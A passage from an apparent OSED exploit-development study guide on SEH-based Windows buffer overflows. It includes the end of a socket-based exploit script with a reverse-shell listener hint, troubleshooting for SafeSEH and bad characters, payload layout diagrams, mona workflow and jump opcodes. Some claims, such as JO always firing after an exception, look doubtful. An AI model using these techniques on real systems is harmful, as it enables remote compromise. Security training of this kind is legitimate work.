print(f"[*] Shellcode at : {len(PREFIX) + nSEH_OFFSET + 8 + len(nop_sled)}")

try:
    s = socket.socket()
    s.settimeout(5)
    s.connect((IP, PORT))
    s.recv(1024)
    s.send(payload)
    print("[+] Payload sent — nc -lvnp 4444")
    s.close()
except Exception as e:
    print(f"[-] {e}")
    sys.exit(1)
```

***

## 17. Common Failures and Fixes

### Handler Is Never Called

Symptom: breakpoint on PPR never hits, app just crashes.

Fixes:

* Press `Shift+F9` in Immunity — this passes the exception to the program to trigger the handler. You must do this manually during testing.
* Confirm the SEH chain actually shows your PPR address (`View → SEH Chain`)
* The exception might be caught by an earlier SEH record higher in the chain — check `!exchain` for the full chain

### PPR Address Rejected (SafeSEH Violation)

Symptom: execution doesn't reach PPR, Windows terminates the exception dispatch silently.

Fixes:

* Verify the module is `SafeSEH=False` with `!mona modules`
* Pick a different module with `SafeSEH=False` or `SafeSEH=N/A`
* Try a gadget from the heap or stack region (SafeSEH only checks PE module ranges)

### Short Jump Goes Wrong

Symptom: EIP lands inside SEH bytes or before NOP sled.

Fixes:

* Recalculate jump: `\xeb\x06` = jump +6 from end of `\xeb\x06` instruction
  * Lands at: nSEH\_start + 2 (instr size) + 6 = nSEH\_start + 8 = right after SEH
* If `\x06` is a bad char, use `\x08` and add 2 extra NOPs before nop\_sled
* If `\xeb` is a bad char, use `\x70\x06` (JO +6) or `\x75\x06` (JNE +6)

### EIP = nSEH but Shellcode Doesn't Execute

Symptom: EIP correctly lands at nSEH, short jump fires, but shellcode fails.

Fixes:

* Bad char still in shellcode — re-run bad char analysis
* Shellcode not in memory yet — check if shellcode bytes visible at ESP after jump
* Not enough NOP sled — increase to 32 bytes
* Stack not executable (DEP) — different problem class (needs ROP)

### Offset Is Wrong

Symptom: SEH chain shows non-pattern values, or nSEH/SEH values are misaligned.

Fixes:

* Use `!mona findmsp` — it shows all register/memory offsets at once
* Check if the application adds a header to the buffer before storing it (strip that from offset)
* Re-run pattern with a longer pattern (3000–5000 bytes)

### nSEH Field Contains Bad Characters

Symptom: `\xeb` or `\x06` or `\x90` are bad chars for your target.

```python
# Alternative short jumps (all JMP SHORT equivalents):
b"\x70\x06\x90\x90"   # JO  +6 (jump if overflow — always true after exception)
b"\x72\x06\x90\x90"   # JC  +6
b"\x74\x06\x90\x90"   # JE  +6 (won't fire if ZF=0 — less safe)
b"\x75\x06\x90\x90"   # JNE +6 (fires if ZF=0)
b"\x7c\x06\x90\x90"   # JL  +6

# Or go further to avoid \x06:
b"\xeb\x08\x90\x90"   # JMP +8 — add 2 extra NOPs before shellcode
b"\xeb\x0a\x90\x90"   # JMP +10 — add 4 extra NOPs (if 0x0a is ok)
```

## 18. Quick Reference

### Payload Structure (Visual)

```
Offset:    0           nSEH_OFF    nSEH_OFF+4  nSEH_OFF+8   nSEH_OFF+24
           │           │           │           │             │
           ▼           ▼           ▼           ▼             ▼
Bytes:  [AAAA...AAAA][eb 06 90 90][PPR addr  ][90 90...90  ][shellcode...]
        ←─ padding ─→ ←─ nSEH ──→ ←─ SEH ───→ ←─ NOP x16 ─→
                       ↑           ↑
                       JMP +6      POP POP RET
                       (skips SEH) (pivots to nSEH)
```

### Exception Dispatch Stack Layout

```
When SEH handler is called:
  [ESP+0 ]  ret to dispatcher
  [ESP+4 ]  ExceptionRecord *
  [ESP+8 ]  EstablisherFrame *  ← = &nSEH   (POP POP RET extracts this)
  [ESP+12]  ContextRecord *
  [ESP+16]  DispatcherContext *
```

### mona Commands — SEH Workflow Order

| Step              | Command                                   |
| ----------------- | ----------------------------------------- |
| Recon             | `!mona modules`                           |
| Pattern           | `!mona pattern_create 3000`               |
| Offset            | `!mona pattern_offset -e <SEH value>`     |
| All offsets       | `!mona findmsp`                           |
| Bad chars gen     | `!mona bytearray -b "\x00"`               |
| Bad chars compare | `!mona compare -f bytearray.bin -a <ESP>` |
| Find PPR          | `!mona seh -cpb "\x00\x0a\x0d"`           |
| View chain        | `View → SEH Chain`                        |

### Jump Opcode Reference

| Bytes      | Instruction   | Safe to Use?                       |
| ---------- | ------------- | ---------------------------------- |
| `\xeb\x06` | JMP SHORT +6  | Yes (most common)                  |
| `\x70\x06` | JO SHORT +6   | Yes (always taken after exception) |
| `\x72\x06` | JB SHORT +6   | Usually                            |
| `\x75\x06` | JNE SHORT +6  | Usually                            |
| `\xeb\x08` | JMP SHORT +8  | Yes (need 2 extra NOPs)            |
| `\xeb\x0a` | JMP SHORT +10 | Yes if `\x0a` not bad              |

### Module Selection — What to Check

| Flag    | Value Needed      | Why                                   |
| ------- | ----------------- | ------------------------------------- |
| SafeSEH | False or N/A      | Handler validation bypass             |
| ASLR    | False             | Fixed address across reboots          |
| Rebase  | False             | Fixed base address at load            |
| OS DLL  | False (preferred) | More portable across Windows versions |

***

*OSED / EXP-301 — SEH-based overflow. Always test on the exact target OS/patch level.*
